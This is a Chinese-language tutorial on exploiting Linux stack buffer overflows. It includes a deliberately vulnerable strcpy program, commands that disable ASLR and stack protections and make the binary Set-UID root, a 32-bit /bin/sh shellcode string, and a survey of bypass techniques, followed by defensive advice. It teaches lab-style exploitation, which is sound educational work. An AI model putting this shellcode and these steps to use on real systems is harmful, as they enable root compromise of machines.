Linux exploit如何利用缓冲区溢出

Linux 缓冲区溢出利用的原理与步骤

一、原理与关键条件

• 当程序向固定长度的缓冲区写入超量数据时，会覆盖相邻内存，尤其是栈帧中的保存的返回地址 EIP/RIP。攻击者把 EIP/RIP 覆盖为指向恶意代码的地址，即可劫持执行流。
• 为让注入代码得以执行，常见条件是栈或堆具备可执行权限；现代系统默认启用多种防护：
  • ASLR（地址空间随机化）使栈/库基址随机；
  • NX/DEP（数据执行保护）使数据段不可执行；
  • Stack Protector（栈金丝雀）检测栈破坏。
    在受控实验环境中，常会临时关闭这些防护以观察利用过程。

二、典型利用流程

• 准备可控输入：让目标程序从文件、网络或环境变量读取数据，便于构造超长输入触发溢出。
• 关闭或弱化防护（仅限实验环境）：
  • 关闭 ASLR：sudo sysctl -w kernel.randomize_va_space=0；
  • 使用不设 canary 的编译：gcc -fno-stack-protector；
  • 允许栈可执行：gcc -z execstack；
  • 为观察方便，32 位环境可用 linux32 或安装 32 位支持库。
• 确定偏移量（覆盖到 EIP 的字节数）：
  • 用唯一字符串填充（如 Metasploit 的 pattern_create.rb/pattern_offset.rb）或逐步递增填充；
  • 触发崩溃后用调试器查看 EIP 被哪个字节覆盖，从而确定精确偏移。
• 获取跳转目标：
  • 若栈可执行，将 EIP 指向注入的 shellcode（常用 NOP 滑梯 + shellcode）；
  • 若栈不可执行，采用跳板指令如 jmp esp/call esp 或 ret2libc 跳转到已有可执行代码片段。
• 注入并触发：将“填充 + 新 EIP + shellcode”写入输入源，运行程序获取交互式 shell；若目标是 Set-UID root 程序，且环境未做权限放弃（如 /bin/sh 指向 bash 会放弃特权），则可能获得root shell。

三、最小示例与关键命令

• 漏洞程序（读取超量数据到栈缓冲区，存在 strcpy 溢出）：

// stack.c
#include <
    stdlib.h>
    
#include <
    stdio.h>
    
#include <
    string.h>

int bof(char *str) {
    
    char buffer[12];
    
    strcpy(buffer, str);
       // 无边界检查
    return 1;

}

int main(int argc, char **argv) {
    
    char str[517];
    
    FILE *badfile = fopen("badfile", "r");
    
    fread(str, sizeof(char), 517, badfile);
    
    bof(str);
    
    printf("Returned Properly\n");
    
    return 1;

}
    

• 编译为 32 位、关闭保护与可执行栈，并设为 Set-UID root（实验用）：

sudo apt-get update
sudo apt-get install -y lib32z1 libc6-dev-i386
gcc -m32 -g -fno-stack-protector -z execstack -o stack stack.c
sudo chown root:root stack
sudo chmod u+s stack

• 关闭 ASLR（实验用）：

sudo sysctl -w kernel.randomize_va_space=0

• 生成偏移（示例思路）：用 pattern_create.rb -l 517 生成唯一串，发送后崩溃，用 pattern_offset.rb -q < EIP> 得到覆盖 EIP 的精确偏移；随后构造 payload：'A'*offset + '\x??\x??\x??\x??' + shellcode。常见 32 位 Linux /bin/sh shellcode 示例（execve）：

"\x31\xc0\x50\x68\"//sh\"\x68\"/bin\"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

• 触发：先运行生成 payload 的脚本生成 badfile，再运行 ./stack，若一切配合正确将获得 shell。

四、绕过防护的常见技术

• 绕过 ASLR：信息泄露（泄露 libc/栈地址）、partial overwrite、brute-force（本地场景）、或改用ret2libc/ROP 链（不依赖固定地址）。
• 绕过 NX/DEP：ret2libc、ROP（通过小片段 gadget 链构造系统调用或跳转到 libc 函数）、或利用可写且可执行的映射（如某些 JIT/内存页）。
• 绕过 Stack Protector：寻找未受 canary 保护的函数指针/返回地址覆盖点，或利用格式化字符串先泄露 canary 再溢出。
• 其他入口：堆溢出（覆盖函数指针/对象虚表）、函数指针覆盖、longjmp 缓冲区覆盖等。

五、防护要点与合规提示

• 开发侧：
  • 用安全函数（strncpy_s、snprintf 等）替代危险函数（strcpy、gets、sprintf）；
  • 启用编译器防护：默认开启 Stack Protector，必要时配合 FORTIFY_SOURCE；
  • 开启 ASLR 与 PIE（位置无关可执行文件）；
  • 使栈/堆 不可执行（NX/DEP）；
  • 最小化Set-UID 使用，分离特权与非特权逻辑。
• 运行侧：最小权限运行、及时打补丁、限制可写可执行内存、启用审计/监控（如 seccomp、LSM）。
• 合规提示：仅在授权的实验环境复现与学习，勿对未授权系统或数据进行测试或攻击，相关行为可能触犯法律并造成损害。

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